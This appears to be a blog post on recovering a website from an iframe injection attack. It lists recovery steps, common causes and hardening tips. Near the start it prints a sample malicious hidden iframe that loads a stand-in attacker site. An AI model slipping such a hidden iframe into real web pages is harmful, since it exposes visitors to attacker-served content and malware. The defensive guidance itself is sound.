IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.

<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
An example of a malicious IFRAME injection code

1. Take your website down for a certain period
It is recommended to take the website down as you do not want to be distributing malware or virus from your website to your visitors. The website should be offline while you are recovering the site.

2. Change all the passwords
Although this may seem like a simple step, many people, including myself, often fail to change all the passwords immediately after an attack has been discovered. You need to change all the passwords associated with the website; which include ftp passwords, ssh passwords, account passwords, database passwords, admin passwords and so on.

3. Take a copy of the affected website for further analysis
You may want to do a further analysis on the attack and might need to refer to the exact injection source code in the future. Take a copy of the affected website in a compressed format, eg: zip or gzip and store it in an quarantine area for later reference. Note that it is not advisable to keep the affected files on the server.

4. Replace the entire site with a clean backup copy
Do not rely on your hosting provider for a backup copy of your site. Many hosting providers say they do an automatic backup every night, however, it is more reliable if you have other backup solutions for your website. Scan your backup copy with Anti-Virus software like ZoneAlarm or Trend Micro (use cupon code trendpro to get 10% Off Trend Micro Internet Security Pro 2010) before uploading to the web server to ensure that the backup copy is free from viruses and Trojan horses.

5. Test the website and reopen
This is to make sure that the website is reverted to its clean, original version. Once you are happy with the result, you can reopen the website to the public.

6. Analyse how the attack was originated
In order to ensure that the same attack does not happen again, you will need to do a full analysis of the attack and how it was originated. Was it because of a security hole in your application? Was it caused by a weak file permission? Or is your server affected with some virus that injects these code into your website at regular interval? You will need to understand how it happens in order to prevent it in the future. And when necessary, obtain an expert advice.

7. Perform appropriate security measures based on the analysis
Although you may have recovered your website, it does not mean your website will not be attacked again. If the same security hole still exists, it is probably very likely that the website will be attacked again in the near future. Therefore, it is recommended that you perform necessary security measures, be it hardening your web server, upgrading an application, or introducing new security restrictions.

Advice about Ifram attacks :-

The common causes seem to be as follows:

* The website is using an old version of an open source application (eg: WordPress 1.0) which has known security issues
* File permissions on the server are not set accordingly (eg: every file and folder on the server is set to 777 read-write-execute)
* Weakness in an application code. For example, there is not sufficient input validation.
* FTP rather than SFTP is used
* There is no IP restriction for SSH and FTP accounts

There are a few simple things that can be done to reduce the risk of your website being attacked.

* Change your passwords periodically (say, at least once a month)
* Keep your applications up-to-date. Always upgrade immediately when a new version is available.
* Clean up files and directories on the web server. Make sure there is no old file with .bak or .txt extensions lying around
* Ensure that appropriate file permissions are used for every file and directory on the web server
* Consult with a security expert to obtain the best advice